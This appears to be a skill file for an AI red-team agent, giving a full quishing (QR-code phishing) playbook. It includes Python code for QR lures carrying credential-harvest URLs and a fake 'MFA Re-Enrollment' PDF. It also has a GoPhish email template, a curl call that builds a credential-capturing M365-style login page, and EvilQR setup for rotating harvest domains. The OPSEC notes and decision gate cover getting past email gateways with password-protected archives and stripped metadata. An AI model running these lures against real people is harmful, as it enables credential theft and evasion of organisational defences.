quishing

QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.

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QR-Code Phishing (Quishing)

Email gateway URL scanners parse hyperlinks and anchor tags — they rarely decode QR codes embedded as images. A QR code pointing at a credential-harvest page survives gateway scanning that would flag the same URL in plaintext. Quishing is now the primary bypass for organisations running Proofpoint / Mimecast / Microsoft Defender URL detonation.

Prerequisites

Python qrcode + Pillow in the sandbox (pip install qrcode[pil]).
GoPhish campaign infrastructure configured (gophish-campaign).
A credential-harvest landing page hosted on a lookalike-domain.
The lure-deconfliction handshake COMPLETE for this campaign.
Optional: EvilQR for dynamic QR payloads with real-time URL rotation.

Quick Reference

# Generate a basic QR code pointing at the harvest URL
python3 -c "
import qrcode
img = qrcode.make('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img.save('/tmp/qr_lure.png')
"

# Generate with branding (logo overlay, colours)
python3 << 'PYEOF'
import qrcode
from qrcode.image.styledpil import StyledPilImage
from qrcode.image.styles.moduledrawers import RoundedModuleDrawer
from qrcode.image.styles.colormasks import RadialGradiantColorMask

qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img = qr.make_image(
    image_factory=StyledPilImage,
    module_drawer=RoundedModuleDrawer(),
    color_mask=RadialGradiantColorMask(
        back_color=(255, 255, 255),
        center_color=(0, 51, 153),
        edge_color=(0, 102, 204),
    ),
)
img.save('/tmp/qr_branded.png')
PYEOF

MITRE ATT&CK Mapping

Technique	ID	Usage
Phishing: Spearphishing Attachment	T1566.001	QR code image embedded in PDF / DOCX / email body
User Execution: Malicious Link	T1204.001	Victim scans QR, phone browser opens harvest URL
Phishing for Information: Spearphishing Link	T1598.003	Credential capture page behind the QR URL

1. QR Code Generation

Generate the QR PNG at error-correction level H (30% redundancy) so a centre logo can overlay up to 30% of modules without breaking decode:

import qrcode

HARVEST_URL = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"

qr = qrcode.QRCode(
    version=None,           # auto-size
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=10,
    border=4,
)
qr.add_data(HARVEST_URL)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("/workspace/qr_lure.png")

To overlay a corporate logo in the centre (improves trust cues):

from PIL import Image

qr_img = Image.open("/workspace/qr_lure.png").convert("RGBA")
logo = Image.open("/workspace/target_logo.png").resize((60, 60))
pos = ((qr_img.size[0] - logo.size[0]) // 2,
       (qr_img.size[1] - logo.size[1]) // 2)
qr_img.paste(logo, pos, logo)
qr_img.save("/workspace/qr_branded.png")

2. Embedding in PDF

Build a PDF that mimics an IT notice (MFA re-enrollment, password policy update) with the QR image inline. The PDF body contains no clickable URL — only the image — so URL scanners see nothing.

from fpdf import FPDF

pdf = FPDF()
pdf.add_page()
pdf.set_font("Helvetica", "B", 16)
pdf.cell(0, 10, "Action Required: MFA Re-Enrollment", ln=True, align="C")
pdf.ln(8)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
    "Our identity provider requires all employees to re-enroll their "
    "MFA token by <DEADLINE>. Scan the QR code below with your mobile "
    "device to complete the process.")
pdf.ln(6)
pdf.image("/workspace/qr_branded.png", x=65, w=80)
pdf.ln(6)
pdf.set_font("Helvetica", "I", 9)
pdf.cell(0, 6, "IT Security — Do not forward this document.", align="C")
pdf.output("/workspace/mfa_reenroll.pdf")

3. Embedding in Email Body (Inline Image)

Attach the QR as an inline CID image so it renders inside the email body rather than as a downloadable attachment:

# GoPhish template HTML — embed the QR as a CID-referenced inline image
cat > /workspace/qr_template.html << 'HTML'
<html><body style="font-family:Segoe UI,sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Please scan the QR code below to verify your account:</p>
<p style="text-align:center;">
  <img src="cid:qr_lure" width="200" height="200" alt="QR Code" />
</p>
<p style="font-size:11px;color:#666;">
  IT Security Team — <TARGET_ORG><br/>
  {{.Tracker}}
</p>
</body></html>
HTML

When sending via GoPhish, add the QR PNG as an attachment with Content-ID: <qr_lure> so the CID reference resolves.

4. Credential-Harvest Landing Page

The QR resolves to a landing page that clones the target's SSO portal. GoPhish captures submitted credentials and redirects to the real login:

# Minimal M365-themed harvest page for GoPhish
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
  -H 'Content-Type: application/json' \
  "$GOPHISH_API/pages/" -d '{
    "name": "qr-sso-landing",
    "html": "<form method=\"POST\"><input name=\"email\" placeholder=\"Email\"/><input name=\"password\" type=\"password\" placeholder=\"Password\"/><button>Sign In</button></form>",
    "capture_credentials": true,
    "capture_passwords": true,
    "redirect_url": "https://login.microsoftonline.com"
  }'

5. EvilQR — Dynamic QR with URL Rotation

EvilQR serves a QR that proxies through a redirector, letting you rotate the harvest URL without regenerating the QR image:

# Clone and start EvilQR
git clone https://github.com/nickvdyck/evilqr /opt/evilqr
cd /opt/evilqr
# Configure redirect target
export EVILQR_TARGET="https://login.<LURE_DOMAIN>/auth"
python3 server.py --port 8443 --cert /opt/certs/server.pem

Benefit: if the harvest domain is burned mid-campaign, rotate the backend URL without re-sending the lure.

OPSEC

No plaintext URL in the email body or PDF metadata — the entire point is that the URL lives only inside the QR pixel data.
Tracking: append a unique ?id= per recipient so GoPhish can attribute scans. Use the GoPhish {{.RId}} template variable.
Mobile context: QR scanning happens on the victim's phone, outside the corporate proxy / EDR. The harvest page MUST be mobile-responsive.
PDF metadata: strip author / creator fields (exiftool -all= file.pdf) before attaching.
Send rate matches opsec_level (stealth ≤2/h, standard ≤20/h).

Tools & Resources

Tool	Purpose
`qrcode` (Python)	QR image generation with styling
`fpdf2` (Python)	PDF creation with embedded images
GoPhish	Campaign orchestration, tracking, credential capture
EvilQR	Dynamic QR redirector with URL rotation
`exiftool`	Strip PDF metadata before delivery

Detection Signatures

Detection	Source	Description
QR code in email attachment	Proofpoint TAP / Mimecast	Image-based QR decode on inbound mail
Mobile OAuth token from unusual geo	Azure AD sign-in logs	Sign-in from mobile IP outside corporate range
PDF with no clickable URLs but embedded image	Content inspection	Anomalous PDF structure (image-only, no URI objects)
Rapid MFA prompt after QR scan	IdP logs	Credential submission followed by MFA challenge

Error Handling & Edge Cases

QR too dense: if the URL exceeds ~2,953 chars the QR version maxes out. Use a short redirect URL (≤100 chars).
Logo too large: covering >30% of modules breaks decode even at ERROR_CORRECT_H. Keep the overlay ≤25%.
Email gateway decodes QR: some advanced gateways (Abnormal, Tessian) now OCR / decode QR in images. Fallback: deliver the PDF as a password-protected ZIP attachment.
Victim has no camera: include a tiny text link as fallback but know it will be scanned — weigh the trade-off.

Decision Gate

IF target org uses advanced QR-decode email gateway (Abnormal, Tessian)
  → deliver QR inside a password-protected PDF attachment
  → provide password in a separate email or SMS pretext
ELIF target org uses standard URL-scanning gateway
  → embed QR directly in email body as inline image
ELIF engagement requires maximum stealth
  → use EvilQR dynamic redirector + URL rotation
ELSE
  → standard QR in PDF attachment via GoPhish campaign

Evidence

Captured credentials → Credential node linked to the User node with the QR tracking id. Save GoPhish campaign results under evidence/phisher/<campaign>-quishing.json. Record which QR variant was used (static / EvilQR dynamic) and the mobile user-agent string.

Repository: PurpleAILAB/Decepticon
Path: packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md
Commit: e34afba

Last updated: 11 days ago
First committed: about 1 month ago

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